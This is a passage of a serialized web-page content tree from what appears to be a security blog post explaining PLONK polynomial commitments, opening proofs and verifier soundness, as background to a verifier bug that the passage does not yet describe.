4},{"type":21,"tag":198,"props":143391,"children":143393},{"className":143392},[4837],[143394],{"type":21,"tag":198,"props":143395,"children":143397},{"className":143396},[4842,22435],[143398,143427],{"type":21,"tag":198,"props":143399,"children":143401},{"className":143400},[4847],[143402,143422],{"type":21,"tag":198,"props":143403,"children":143405},{"className":143404,"style":142984},[4852],[143406],{"type":21,"tag":198,"props":143407,"children":143408},{"style":95804},[143409,143413],{"type":21,"tag":198,"props":143410,"children":143412},{"className":143411,"style":4862},[4861],[],{"type":21,"tag":198,"props":143414,"children":143416},{"className":143415},[4867,4868,4869,4870],[143417],{"type":21,"tag":198,"props":143418,"children":143420},{"className":143419,"style":93429},[4822,22381,4870],[143421],{"type":27,"value":115748},{"type":21,"tag":198,"props":143423,"children":143425},{"className":143424},[22538],[143426],{"type":27,"value":22541},{"type":21,"tag":198,"props":143428,"children":143430},{"className":143429},[4847],[143431],{"type":21,"tag":198,"props":143432,"children":143434},{"className":143433,"style":93512},[4852],[143435],{"type":21,"tag":198,"props":143436,"children":143437},{},[],{"type":21,"tag":198,"props":143439,"children":143441},{"className":143440},[22510],[143442],{"type":27,"value":706},{"type":21,"tag":198,"props":143444,"children":143446},{"className":143445},[4822,22381],[143447],{"type":27,"value":20070},{"type":21,"tag":198,"props":143449,"children":143451},{"className":143450},[22532],[143452],{"type":27,"value":2109},{"type":27,"value":143454}," and the selectors become ",{"type":21,"tag":1671,"props":143456,"children":143457},{},[143458],{"type":27,"value":143459},"selector polynomials",{"type":27,"value":915},{"type":21,"tag":194,"props":143462,"children":143464},{"className":143463},[4794,4795],[143465],{"type":21,"tag":198,"props":143466,"children":143468},{"className":143467},[4800],[143469],{"type":21,"tag":198,"props":143470,"children":143472},{"className":143471,"ariaHidden":4806},[4805],[143473],{"type":21,"tag":198,"props":143474,"children":143476},{"className":143475},[4811],[143477,143481,143538,143543,143548],{"type":21,"tag":198,"props":143478,"children":143480},{"className":143479,"style":4922},[4816],[],{"type":21,"tag":198,"props":143482,"children":143484},{"className":143483},[4822],[143485,143490],{"type":21,"tag":198,"props":143486,"children":143488},{"className":143487},[4822,22381],[143489],{"type":27,"value":77184},{"type":21,"tag":198,"props":143491,"children":143493},{"className":143492},[4837],[143494],{"type":21,"tag":198,"props":143495,"children":143497},{"className":143496},[4842,22435],[143498,143527],{"type":21,"tag":198,"props":143499,"children":143501},{"className":143500},[4847],[143502,143522],{"type":21,"tag":198,"props":143503,"children":143505},{"className":143504,"style":142984},[4852],[143506],{"type":21,"tag":198,"props":143507,"children":143508},{"style":93485},[143509,143513],{"type":21,"tag":198,"props":143510,"children":143512},{"className":143511,"style":4862},[4861],[],{"type":21,"tag":198,"props":143514,"children":143516},{"className":143515},[4867,4868,4869,4870],[143517],{"type":21,"tag":198,"props":143518,"children":143520},{"className":143519,"style":95437},[4822,22381,4870],[143521],{"type":27,"value":95440},{"type":21,"tag":198,"props":143523,"children":143525},{"className":143524},[22538],[143526],{"type":27,"value":22541},{"type":21,"tag":198,"props":143528,"children":143530},{"className":143529},[4847],[143531],{"type":21,"tag":198,"props":143532,"children":143534},{"className":143533,"style":93512},[4852],[143535],{"type":21,"tag":198,"props":143536,"children":143537},{},[],{"type":21,"tag":198,"props":143539,"children":143541},{"className":143540},[22510],[143542],{"type":27,"value":706},{"type":21,"tag":198,"props":143544,"children":143546},{"className":143545},[4822,22381],[143547],{"type":27,"value":20070},{"type":21,"tag":198,"props":143549,"children":143551},{"className":143550},[22532],[143552],{"type":27,"value":2109},{"type":27,"value":828},{"type":21,"tag":194,"props":143555,"children":143557},{"className":143556},[4794,4795],[143558],{"type":21,"tag":198,"props":143559,"children":143561},{"className":143560},[4800],[143562],{"type":21,"tag":198,"props":143563,"children":143565},{"className":143564,"ariaHidden":4806},[4805],[143566],{"type":21,"tag":198,"props":143567,"children":143569},{"className":143568},[4811],[143570,143574,143631,143636,143641],{"type":21,"tag":198,"props":143571,"children":143573},{"className":143572,"style":4922},[4816],[],{"type":21,"tag":198,"props":143575,"children":143577},{"className":143576},[4822],[143578,143583],{"type":21,"tag":198,"props":143579,"children":143581},{"className":143580},[4822,22381],[143582],{"type":27,"value":77184},{"type":21,"tag":198,"props":143584,"children":143586},{"className":143585},[4837],[143587],{"type":21,"tag":198,"props":143588,"children":143590},{"className":143589},[4842,22435],[143591,143620],{"type":21,"tag":198,"props":143592,"children":143594},{"className":143593},[4847],[143595,143615],{"type":21,"tag":198,"props":143596,"children":143598},{"className":143597,"style":142984},[4852],[143599],{"type":21,"tag":198,"props":143600,"children":143601},{"style":93485},[143602,143606],{"type":21,"tag":198,"props":143603,"children":143605},{"className":143604,"style":4862},[4861],[],{"type":21,"tag":198,"props":143607,"children":143609},{"className":143608},[4867,4868,4869,4870],[143610],{"type":21,"tag":198,"props":143611,"children":143613},{"className":143612},[4822,22381,4870],[143614],{"type":27,"value":118393},{"type":21,"tag":198,"props":143616,"children":143618},{"className":143617},[22538],[143619],{"type":27,"value":22541},{"type":21,"tag":198,"props":143621,"children":143623},{"className":143622},[4847],[143624],{"type":21,"tag":198,"props":143625,"children":143627},{"className":143626,"style":93512},[4852],[143628],{"type":21,"tag":198,"props":143629,"children":143630},{},[],{"type":21,"tag":198,"props":143632,"children":143634},{"className":143633},[22510],[143635],{"type":27,"value":706},{"type":21,"tag":198,"props":143637,"children":143639},{"className":143638},[4822,22381],[143640],{"type":27,"value":20070},{"type":21,"tag":198,"props":143642,"children":143644},{"className":143643},[22532],[143645],{"type":27,"value":2109},{"type":27,"value":143647},", etc., all interpolated over a domain ",{"type":21,"tag":194,"props":143649,"children":143651},{"className":143650},[4794,4795],[143652],{"type":21,"tag":198,"props":143653,"children":143655},{"className":143654},[4800],[143656],{"type":21,"tag":198,"props":143657,"children":143659},{"className":143658,"ariaHidden":4806},[4805],[143660],{"type":21,"tag":198,"props":143661,"children":143663},{"className":143662},[4811],[143664,143668],{"type":21,"tag":198,"props":143665,"children":143667},{"className":143666,"style":22376},[4816],[],{"type":21,"tag":198,"props":143669,"children":143671},{"className":143670,"style":93663},[4822,22381],[143672],{"type":27,"value":93666},{"type":27,"value":143674}," of ",{"type":21,"tag":194,"props":143676,"children":143678},{"className":143677},[4794,4795],[143679],{"type":21,"tag":198,"props":143680,"children":143682},{"className":143681},[4800],[143683],{"type":21,"tag":198,"props":143684,"children":143686},{"className":143685,"ariaHidden":4806},[4805],[143687],{"type":21,"tag":198,"props":143688,"children":143690},{"className":143689},[4811],[143691,143695],{"type":21,"tag":198,"props":143692,"children":143694},{"className":143693,"style":111270},[4816],[],{"type":21,"tag":198,"props":143696,"children":143698},{"className":143697},[4822,22381],[143699],{"type":27,"value":56780},{"type":27,"value":143701},"-th roots of unity. Evaluating ",{"type":21,"tag":194,"props":143703,"children":143705},{"className":143704},[4794,4795],[143706],{"type":21,"tag":198,"props":143707,"children":143709},{"className":143708},[4800],[143710],{"type":21,"tag":198,"props":143711,"children":143713},{"className":143712,"ariaHidden":4806},[4805],[143714],{"type":21,"tag":198,"props":143715,"children":143717},{"className":143716},[4811],[143718,143722,143779,143784,143789],{"type":21,"tag":198,"props":143719,"children":143721},{"className":143720,"style":4922},[4816],[],{"type":21,"tag":198,"props":143723,"children":143725},{"className":143724},[4822],[143726,143731],{"type":21,"tag":198,"props":143727,"children":143729},{"className":143728,"style":95783},[4822,22381],[143730],{"type":27,"value":33864},{"type":21,"tag":198,"props":143732,"children":143734},{"className":143733},[4837],[143735],{"type":21,"tag":198,"props":143736,"children":143738},{"className":143737},[4842,22435],[143739,143768],{"type":21,"tag":198,"props":143740,"children":143742},{"className":143741},[4847],[143743,143763],{"type":21,"tag":198,"props":143744,"children":143746},{"className":143745,"style":142984},[4852],[143747],{"type":21,"tag":198,"props":143748,"children":143749},{"style":95804},[143750,143754],{"type":21,"tag":198,"props":143751,"children":143753},{"className":143752,"style":4862},[4861],[],{"type":21,"tag":198,"props":143755,"children":143757},{"className":143756},[4867,4868,4869,4870],[143758],{"type":21,"tag":198,"props":143759,"children":143761},{"className":143760},[4822,22381,4870],[143762],{"type":27,"value":118393},{"type":21,"tag":198,"props":143764,"children":143766},{"className":143765},[22538],[143767],{"type":27,"value":22541},{"type":21,"tag":198,"props":143769,"children":143771},{"className":143770},[4847],[143772],{"type":21,"tag":198,"props":143773,"children":143775},{"className":143774,"style":93512},[4852],[143776],{"type":21,"tag":198,"props":143777,"children":143778},{},[],{"type":21,"tag":198,"props":143780,"children":143782},{"className":143781},[22510],[143783],{"type":27,"value":706},{"type":21,"tag":198,"props":143785,"children":143787},{"className":143786},[4822,22381],[143788],{"type":27,"value":20070},{"type":21,"tag":198,"props":143790,"children":143792},{"className":143791},[22532],[143793],{"type":27,"value":2109},{"type":27,"value":143795}," at the ",{"type":21,"tag":194,"props":143797,"children":143799},{"className":143798},[4794,4795],[143800],{"type":21,"tag":198,"props":143801,"children":143803},{"className":143802},[4800],[143804],{"type":21,"tag":198,"props":143805,"children":143807},{"className":143806,"ariaHidden":4806},[4805],[143808],{"type":21,"tag":198,"props":143809,"children":143811},{"className":143810},[4811],[143812,143816],{"type":21,"tag":198,"props":143813,"children":143815},{"className":143814,"style":142680},[4816],[],{"type":21,"tag":198,"props":143817,"children":143819},{"className":143818},[4822,22381],[143820],{"type":27,"value":4544},{"type":27,"value":143822},"-th root recovers the left wire value at row ",{"type":21,"tag":194,"props":143824,"children":143826},{"className":143825},[4794,4795],[143827],{"type":21,"tag":198,"props":143828,"children":143830},{"className":143829},[4800],[143831],{"type":21,"tag":198,"props":143832,"children":143834},{"className":143833,"ariaHidden":4806},[4805],[143835],{"type":21,"tag":198,"props":143836,"children":143838},{"className":143837},[4811],[143839,143843],{"type":21,"tag":198,"props":143840,"children":143842},{"className":143841,"style":142680},[4816],[],{"type":21,"tag":198,"props":143844,"children":143846},{"className":143845},[4822,22381],[143847],{"type":27,"value":4544},{"type":27,"value":658},{"type":21,"tag":143850,"props":143851,"children":143852},"polynomial-interpolation-panel",{},[],{"type":21,"tag":30,"props":143854,"children":143855},{},[143856,143858,143898,143900,143966,143968,144098,144100,144140,144142,144182,144184,144224,144225,144347],{"type":27,"value":143857},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":21,"tag":194,"props":143859,"children":143861},{"className":143860},[4794,4795],[143862],{"type":21,"tag":198,"props":143863,"children":143865},{"className":143864},[4800],[143866],{"type":21,"tag":198,"props":143867,"children":143869},{"className":143868,"ariaHidden":4806},[4805],[143870],{"type":21,"tag":198,"props":143871,"children":143873},{"className":143872},[4811],[143874,143878,143883,143888,143893],{"type":21,"tag":198,"props":143875,"children":143877},{"className":143876,"style":4922},[4816],[],{"type":21,"tag":198,"props":143879,"children":143881},{"className":143880,"style":22382},[4822,22381],[143882],{"type":27,"value":122207},{"type":21,"tag":198,"props":143884,"children":143886},{"className":143885},[22510],[143887],{"type":27,"value":706},{"type":21,"tag":198,"props":143889,"children":143891},{"className":143890},[4822,22381],[143892],{"type":27,"value":20070},{"type":21,"tag":198,"props":143894,"children":143896},{"className":143895},[22532],[143897],{"type":27,"value":2109},{"type":27,"value":143899}," that combines selectors and witnesses. If the prover was honest, ",{"type":21,"tag":194,"props":143901,"children":143903},{"className":143902},[4794,4795],[143904],{"type":21,"tag":198,"props":143905,"children":143907},{"className":143906},[4800],[143908],{"type":21,"tag":198,"props":143909,"children":143911},{"className":143910,"ariaHidden":4806},[4805],[143912,143953],{"type":21,"tag":198,"props":143913,"children":143915},{"className":143914},[4811],[143916,143920,143925,143930,143935,143940,143944,143949],{"type":21,"tag":198,"props":143917,"children":143919},{"className":143918,"style":4922},[4816],[],{"type":21,"tag":198,"props":143921,"children":143923},{"className":143922,"style":22382},[4822,22381],[143924],{"type":27,"value":122207},{"type":21,"tag":198,"props":143926,"children":143928},{"className":143927},[22510],[143929],{"type":27,"value":706},{"type":21,"tag":198,"props":143931,"children":143933},{"className":143932},[4822,22381],[143934],{"type":27,"value":20070},{"type":21,"tag":198,"props":143936,"children":143938},{"className":143937},[22532],[143939],{"type":27,"value":2109},{"type":21,"tag":198,"props":143941,"children":143943},{"className":143942,"style":4998},[4901],[],{"type":21,"tag":198,"props":143945,"children":143947},{"className":143946},[5003],[143948],{"type":27,"value":3174},{"type":21,"tag":198,"props":143950,"children":143952},{"className":143951,"style":4998},[4901],[],{"type":21,"tag":198,"props":143954,"children":143956},{"className":143955},[4811],[143957,143961],{"type":21,"tag":198,"props":143958,"children":143960},{"className":143959,"style":94460},[4816],[],{"type":21,"tag":198,"props":143962,"children":143964},{"className":143963},[4822],[143965],{"type":27,"value":3482},{"type":27,"value":143967}," at every row index in the domain. The vanishing polynomial ",{"type":21,"tag":194,"props":143969,"children":143971},{"className":143970},[4794,4795],[143972],{"type":21,"tag":198,"props":143973,"children":143975},{"className":143974},[4800],[143976],{"type":21,"tag":198,"props":143977,"children":143979},{"className":143978,"ariaHidden":4806},[4805],[143980,144022,144085],{"type":21,"tag":198,"props":143981,"children":143983},{"className":143982},[4811],[143984,143988,143994,143999,144004,144009,144013,144018],{"type":21,"tag":198,"props":143985,"children":143987},{"className":143986,"style":4922},[4816],[],{"type":21,"tag":198,"props":143989,"children":143991},{"className":143990,"style":22913},[4822,22381],[143992],{"type":27,"value":143993},"Z",{"type":21,"tag":198,"props":143995,"children":143997},{"className":143996},[22510],[143998],{"type":27,"value":706},{"type":21,"tag":198,"props":144000,"children":144002},{"className":144001},[4822,22381],[144003],{"type":27,"value":20070},{"type":21,"tag":198,"props":144005,"children":144007},{"className":144006},[22532],[144008],{"type":27,"value":2109},{"type":21,"tag":198,"props":144010,"children":144012},{"className":144011,"style":4998},[4901],[],{"type":21,"tag":198,"props":144014,"children":144016},{"className":144015},[5003],[144017],{"type":27,"value":3174},{"type":21,"tag":198,"props":144019,"children":144021},{"className":144020,"style":4998},[4901],[],{"type":21,"tag":198,"props":144023,"children":144025},{"className":144024},[4811],[144026,144031,144072,144076,144081],{"type":21,"tag":198,"props":144027,"children":144030},{"className":144028,"style":144029},[4816],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":21,"tag":198,"props":144032,"children":144034},{"className":144033},[4822],[144035,144040],{"type":21,"tag":198,"props":144036,"children":144038},{"className":144037},[4822,22381],[144039],{"type":27,"value":20070},{"type":21,"tag":198,"props":144041,"children":144043},{"className":144042},[4837],[144044],{"type":21,"tag":198,"props":144045,"children":144047},{"className":144046},[4842],[144048],{"type":21,"tag":198,"props":144049,"children":144051},{"className":144050},[4847],[144052],{"type":21,"tag":198,"props":144053,"children":144055},{"className":144054,"style":109146},[4852],[144056],{"type":21,"tag":198,"props":144057,"children":144058},{"style":4856},[144059,144063],{"type":21,"tag":198,"props":144060,"children":144062},{"className":144061,"style":4862},[4861],[],{"type":21,"tag":198,"props":144064,"children":144066},{"className":144065},[4867,4868,4869,4870],[144067],{"type":21,"tag":198,"props":144068,"children":144070},{"className":144069},[4822,22381,4870],[144071],{"type":27,"value":56780},{"type":21,"tag":198,"props":144073,"children":144075},{"className":144074,"style":4902},[4901],[],{"type":21,"tag":198,"props":144077,"children":144079},{"className":144078},[4907],[144080],{"type":27,"value":4881},{"type":21,"tag":198,"props":144082,"children":144084},{"className":144083,"style":4902},[4901],[],{"type":21,"tag":198,"props":144086,"children":144088},{"className":144087},[4811],[144089,144093],{"type":21,"tag":198,"props":144090,"children":144092},{"className":144091,"style":94460},[4816],[],{"type":21,"tag":198,"props":144094,"children":144096},{"className":144095},[4822],[144097],{"type":27,"value":134},{"type":27,"value":144099}," is zero on exactly those points, so if all constraints hold then ",{"type":21,"tag":194,"props":144101,"children":144103},{"className":144102},[4794,4795],[144104],{"type":21,"tag":198,"props":144105,"children":144107},{"className":144106},[4800],[144108],{"type":21,"tag":198,"props":144109,"children":144111},{"className":144110,"ariaHidden":4806},[4805],[144112],{"type":21,"tag":198,"props":144113,"children":144115},{"className":144114},[4811],[144116,144120,144125,144130,144135],{"type":21,"tag":198,"props":144117,"children":144119},{"className":144118,"style":4922},[4816],[],{"type":21,"tag":198,"props":144121,"children":144123},{"className":144122,"style":22913},[4822,22381],[144124],{"type":27,"value":143993},{"type":21,"tag":198,"props":144126,"children":144128},{"className":144127},[22510],[144129],{"type":27,"value":706},{"type":21,"tag":198,"props":144131,"children":144133},{"className":144132},[4822,22381],[144134],{"type":27,"value":20070},{"type":21,"tag":198,"props":144136,"children":144138},{"className":144137},[22532],[144139],{"type":27,"value":2109},{"type":27,"value":144141}," divides ",{"type":21,"tag":194,"props":144143,"children":144145},{"className":144144},[4794,4795],[144146],{"type":21,"tag":198,"props":144147,"children":144149},{"className":144148},[4800],[144150],{"type":21,"tag":198,"props":144151,"children":144153},{"className":144152,"ariaHidden":4806},[4805],[144154],{"type":21,"tag":198,"props":144155,"children":144157},{"className":144156},[4811],[144158,144162,144167,144172,144177],{"type":21,"tag":198,"props":144159,"children":144161},{"className":144160,"style":4922},[4816],[],{"type":21,"tag":198,"props":144163,"children":144165},{"className":144164,"style":22382},[4822,22381],[144166],{"type":27,"value":122207},{"type":21,"tag":198,"props":144168,"children":144170},{"className":144169},[22510],[144171],{"type":27,"value":706},{"type":21,"tag":198,"props":144173,"children":144175},{"className":144174},[4822,22381],[144176],{"type":27,"value":20070},{"type":21,"tag":198,"props":144178,"children":144180},{"className":144179},[22532],[144181],{"type":27,"value":2109},{"type":27,"value":144183},", yielding a quotient polynomial ",{"type":21,"tag":194,"props":144185,"children":144187},{"className":144186},[4794,4795],[144188],{"type":21,"tag":198,"props":144189,"children":144191},{"className":144190},[4800],[144192],{"type":21,"tag":198,"props":144193,"children":144195},{"className":144194,"ariaHidden":4806},[4805],[144196],{"type":21,"tag":198,"props":144197,"children":144199},{"className":144198},[4811],[144200,144204,144209,144214,144219],{"type":21,"tag":198,"props":144201,"children":144203},{"className":144202,"style":4922},[4816],[],{"type":21,"tag":198,"props":144205,"children":144207},{"className":144206,"style":22382},[4822,22381],[144208],{"type":27,"value":6800},{"type":21,"tag":198,"props":144210,"children":144212},{"className":144211},[22510],[144213],{"type":27,"value":706},{"type":21,"tag":198,"props":144215,"children":144217},{"className":144216},[4822,22381],[144218],{"type":27,"value":20070},{"type":21,"tag":198,"props":144220,"children":144222},{"className":144221},[22532],[144223],{"type":27,"value":2109},{"type":27,"value":22297},{"type":21,"tag":194,"props":144226,"children":144228},{"className":144227},[4794,4795],[144229],{"type":21,"tag":198,"props":144230,"children":144232},{"className":144231},[4800],[144233],{"type":21,"tag":198,"props":144234,"children":144236},{"className":144235,"ariaHidden":4806},[4805],[144237,144278,144319],{"type":21,"tag":198,"props":144238,"children":144240},{"className":144239},[4811],[144241,144245,144250,144255,144260,144265,144269,144274],{"type":21,"tag":198,"props":144242,"children":144244},{"className":144243,"style":4922},[4816],[],{"type":21,"tag":198,"props":144246,"children":144248},{"className":144247,"style":22382},[4822,22381],[144249],{"type":27,"value":122207},{"type":21,"tag":198,"props":144251,"children":144253},{"className":144252},[22510],[144254],{"type":27,"value":706},{"type":21,"tag":198,"props":144256,"children":144258},{"className":144257},[4822,22381],[144259],{"type":27,"value":20070},{"type":21,"tag":198,"props":144261,"children":144263},{"className":144262},[22532],[144264],{"type":27,"value":2109},{"type":21,"tag":198,"props":144266,"children":144268},{"className":144267,"style":4998},[4901],[],{"type":21,"tag":198,"props":144270,"children":144272},{"className":144271},[5003],[144273],{"type":27,"value":3174},{"type":21,"tag":198,"props":144275,"children":144277},{"className":144276,"style":4998},[4901],[],{"type":21,"tag":198,"props":144279,"children":144281},{"className":144280},[4811],[144282,144286,144291,144296,144301,144306,144310,144315],{"type":21,"tag":198,"props":144283,"children":144285},{"className":144284,"style":4922},[4816],[],{"type":21,"tag":198,"props":144287,"children":144289},{"className":144288,"style":22382},[4822,22381],[144290],{"type":27,"value":6800},{"type":21,"tag":198,"props":144292,"children":144294},{"className":144293},[22510],[144295],{"type":27,"value":706},{"type":21,"tag":198,"props":144297,"children":144299},{"className":144298},[4822,22381],[144300],{"type":27,"value":20070},{"type":21,"tag":198,"props":144302,"children":144304},{"className":144303},[22532],[144305],{"type":27,"value":2109},{"type":21,"tag":198,"props":144307,"children":144309},{"className":144308,"style":4902},[4901],[],{"type":21,"tag":198,"props":144311,"children":144313},{"className":144312},[4907],[144314],{"type":27,"value":111691},{"type":21,"tag":198,"props":144316,"children":144318},{"className":144317,"style":4902},[4901],[],{"type":21,"tag":198,"props":144320,"children":144322},{"className":144321},[4811],[144323,144327,144332,144337,144342],{"type":21,"tag":198,"props":144324,"children":144326},{"className":144325,"style":4922},[4816],[],{"type":21,"tag":198,"props":144328,"children":144330},{"className":144329,"style":22913},[4822,22381],[144331],{"type":27,"value":143993},{"type":21,"tag":198,"props":144333,"children":144335},{"className":144334},[22510],[144336],{"type":27,"value":706},{"type":21,"tag":198,"props":144338,"children":144340},{"className":144339},[4822,22381],[144341],{"type":27,"value":20070},{"type":21,"tag":198,"props":144343,"children":144345},{"className":144344},[22532],[144346],{"type":27,"value":2109},{"type":27,"value":658},{"type":21,"tag":30,"props":144349,"children":144350},{},[144351],{"type":21,"tag":1376,"props":144352,"children":144355},{"alt":144353,"src":144354},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":21,"tag":59,"props":144357,"children":144359},{"id":144358},"polynomial-commitments-and-opening-proofs",[144360],{"type":27,"value":144361},"Polynomial commitments and opening proofs",{"type":21,"tag":30,"props":144363,"children":144364},{},[144365,144367,144372,144374,144379],{"type":27,"value":144366},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":21,"tag":1671,"props":144368,"children":144369},{},[144370],{"type":27,"value":144371},"commitments",{"type":27,"value":144373},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":21,"tag":1671,"props":144375,"children":144376},{},[144377],{"type":27,"value":144378},"opening proof",{"type":27,"value":144380}," that the claimed value is consistent with the earlier commitment.",{"type":21,"tag":30,"props":144382,"children":144383},{},[144384],{"type":27,"value":144385},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":21,"tag":59,"props":144387,"children":144389},{"id":144388},"reducing-to-a-single-random-point",[144390],{"type":27,"value":144391},"Reducing to a single random point",{"type":21,"tag":30,"props":144393,"children":144394},{},[144395,144397,144437,144439,144464,144466,144588,144590,144615],{"type":27,"value":144396},"After the prover commits to all polynomials, including ",{"type":21,"tag":194,"props":144398,"children":144400},{"className":144399},[4794,4795],[144401],{"type":21,"tag":198,"props":144402,"children":144404},{"className":144403},[4800],[144405],{"type":21,"tag":198,"props":144406,"children":144408},{"className":144407,"ariaHidden":4806},[4805],[144409],{"type":21,"tag":198,"props":144410,"children":144412},{"className":144411},[4811],[144413,144417,144422,144427,144432],{"type":21,"tag":198,"props":144414,"children":144416},{"className":144415,"style":4922},[4816],[],{"type":21,"tag":198,"props":144418,"children":144420},{"className":144419,"style":22382},[4822,22381],[144421],{"type":27,"value":6800},{"type":21,"tag":198,"props":144423,"children":144425},{"className":144424},[22510],[144426],{"type":27,"value":706},{"type":21,"tag":198,"props":144428,"children":144430},{"className":144429},[4822,22381],[144431],{"type":27,"value":20070},{"type":21,"tag":198,"props":144433,"children":144435},{"className":144434},[22532],[144436],{"type":27,"value":2109},{"type":27,"value":144438},", the verifier picks a random challenge point ",{"type":21,"tag":194,"props":144440,"children":144442},{"className":144441},[4794,4795],[144443],{"type":21,"tag":198,"props":144444,"children":144446},{"className":144445},[4800],[144447],{"type":21,"tag":198,"props":144448,"children":144450},{"className":144449,"ariaHidden":4806},[4805],[144451],{"type":21,"tag":198,"props":144452,"children":144454},{"className":144453},[4811],[144455,144459],{"type":21,"tag":198,"props":144456,"children":144458},{"className":144457,"style":111270},[4816],[],{"type":21,"tag":198,"props":144460,"children":144462},{"className":144461,"style":113986},[4822,22381],[144463],{"type":27,"value":113989},{"type":27,"value":144465}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":21,"tag":194,"props":144467,"children":144469},{"className":144468},[4794,4795],[144470],{"type":21,"tag":198,"props":144471,"children":144473},{"className":144472},[4800],[144474],{"type":21,"tag":198,"props":144475,"children":144477},{"className":144476,"ariaHidden":4806},[4805],[144478,144519,144560],{"type":21,"tag":198,"props":144479,"children":144481},{"className":144480},[4811],[144482,144486,144491,144496,144501,144506,144510,144515],{"type":21,"tag":198,"props":144483,"children":144485},{"className":144484,"style":4922},[4816],[],{"type":21,"tag":198,"props":144487,"children":144489},{"className":144488,"style":22382},[4822,22381],[144490],{"type":27,"value":122207},{"type":21,"tag":198,"props":144492,"children":144494},{"className":144493},[22510],[144495],{"type":27,"value":706},{"type":21,"tag":198,"props":144497,"children":144499},{"className":144498,"style":113986},[4822,22381],[144500],{"type":27,"value":113989},{"type":21,"tag":198,"props":144502,"children":144504},{"className":144503},[22532],[144505],{"type":27,"value":2109},{"type":21,"tag":198,"props":144507,"children":144509},{"className":144508,"style":4998},[4901],[],{"type":21,"tag":198,"props":144511,"children":144513},{"className":144512},[5003],[144514],{"type":27,"value":3174},{"type":21,"tag":198,"props":144516,"children":144518},{"className":144517,"style":4998},[4901],[],{"type":21,"tag":198,"props":144520,"children":144522},{"className":144521},[4811],[144523,144527,144532,144537,144542,144547,144551,144556],{"type":21,"tag":198,"props":144524,"children":144526},{"className":144525,"style":4922},[4816],[],{"type":21,"tag":198,"props":144528,"children":144530},{"className":144529,"style":22382},[4822,22381],[144531],{"type":27,"value":6800},{"type":21,"tag":198,"props":144533,"children":144535},{"className":144534},[22510],[144536],{"type":27,"value":706},{"type":21,"tag":198,"props":144538,"children":144540},{"className":144539,"style":113986},[4822,22381],[144541],{"type":27,"value":113989},{"type":21,"tag":198,"props":144543,"children":144545},{"className":144544},[22532],[144546],{"type":27,"value":2109},{"type":21,"tag":198,"props":144548,"children":144550},{"className":144549,"style":4902},[4901],[],{"type":21,"tag":198,"props":144552,"children":144554},{"className":144553},[4907],[144555],{"type":27,"value":111691},{"type":21,"tag":198,"props":144557,"children":144559},{"className":144558,"style":4902},[4901],[],{"type":21,"tag":198,"props":144561,"children":144563},{"className":144562},[4811],[144564,144568,144573,144578,144583],{"type":21,"tag":198,"props":144565,"children":144567},{"className":144566,"style":4922},[4816],[],{"type":21,"tag":198,"props":144569,"children":144571},{"className":144570,"style":22913},[4822,22381],[144572],{"type":27,"value":143993},{"type":21,"tag":198,"props":144574,"children":144576},{"className":144575},[22510],[144577],{"type":27,"value":706},{"type":21,"tag":198,"props":144579,"children":144581},{"className":144580,"style":113986},[4822,22381],[144582],{"type":27,"value":113989},{"type":21,"tag":198,"props":144584,"children":144586},{"className":144585},[22532],[144587],{"type":27,"value":2109},{"type":27,"value":144589}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":21,"tag":194,"props":144591,"children":144593},{"className":144592},[4794,4795],[144594],{"type":21,"tag":198,"props":144595,"children":144597},{"className":144596},[4800],[144598],{"type":21,"tag":198,"props":144599,"children":144601},{"className":144600,"ariaHidden":4806},[4805],[144602],{"type":21,"tag":198,"props":144603,"children":144605},{"className":144604},[4811],[144606,144610],{"type":21,"tag":198,"props":144607,"children":144609},{"className":144608,"style":111270},[4816],[],{"type":21,"tag":198,"props":144611,"children":144613},{"className":144612,"style":113986},[4822,22381],[144614],{"type":27,"value":113989},{"type":27,"value":144616}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":21,"tag":30,"props":144618,"children":144619},{},[144620,144622,144647,144649,144654],{"type":27,"value":144621},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":21,"tag":194,"props":144623,"children":144625},{"className":144624},[4794,4795],[144626],{"type":21,"tag":198,"props":144627,"children":144629},{"className":144628},[4800],[144630],{"type":21,"tag":198,"props":144631,"children":144633},{"className":144632,"ariaHidden":4806},[4805],[144634],{"type":21,"tag":198,"props":144635,"children":144637},{"className":144636},[4811],[144638,144642],{"type":21,"tag":198,"props":144639,"children":144641},{"className":144640,"style":111270},[4816],[],{"type":21,"tag":198,"props":144643,"children":144645},{"className":144644,"style":113986},[4822,22381],[144646],{"type":27,"value":113989},{"type":27,"value":144648},", the prover supplies ",{"type":21,"tag":1671,"props":144650,"children":144651},{},[144652],{"type":27,"value":144653},"evaluation claims",{"type":27,"value":144655}," that must be checked against those commitments with opening proofs.",{"type":21,"tag":30,"props":144657,"children":144658},{},[144659,144661,144665],{"type":27,"value":144660},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":21,"tag":1671,"props":144662,"children":144663},{},[144664],{"type":27,"value":104973},{"type":27,"value":144666}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":21,"tag":59,"props":144668,"children":144670},{"id":144669},"what-the-verifier-is-actually-allowed-to-trust",[144671],{"type":27,"value":144672},"What the verifier is actually allowed to trust",{"type":21,"tag":30,"props":144674,"children":144675},{},[144676,144678,144683],{"type":27,"value":144677},"For this bug, one invariant matters more than the rest: ",{"type":21,"tag":6137,"props":144679,"children":144680},{},[144681],{"type":27,"value":144682},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":27,"value":658},{"type":21,"tag":30,"props":144685,"children":144686},{},[144687,144689,144781,144782,144874,144876,144901,144903,144943,144944,144984,144985,145078,145079,145125,145127,145214,145215,145302,145303,145390],{"type":27,"value":144688},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data 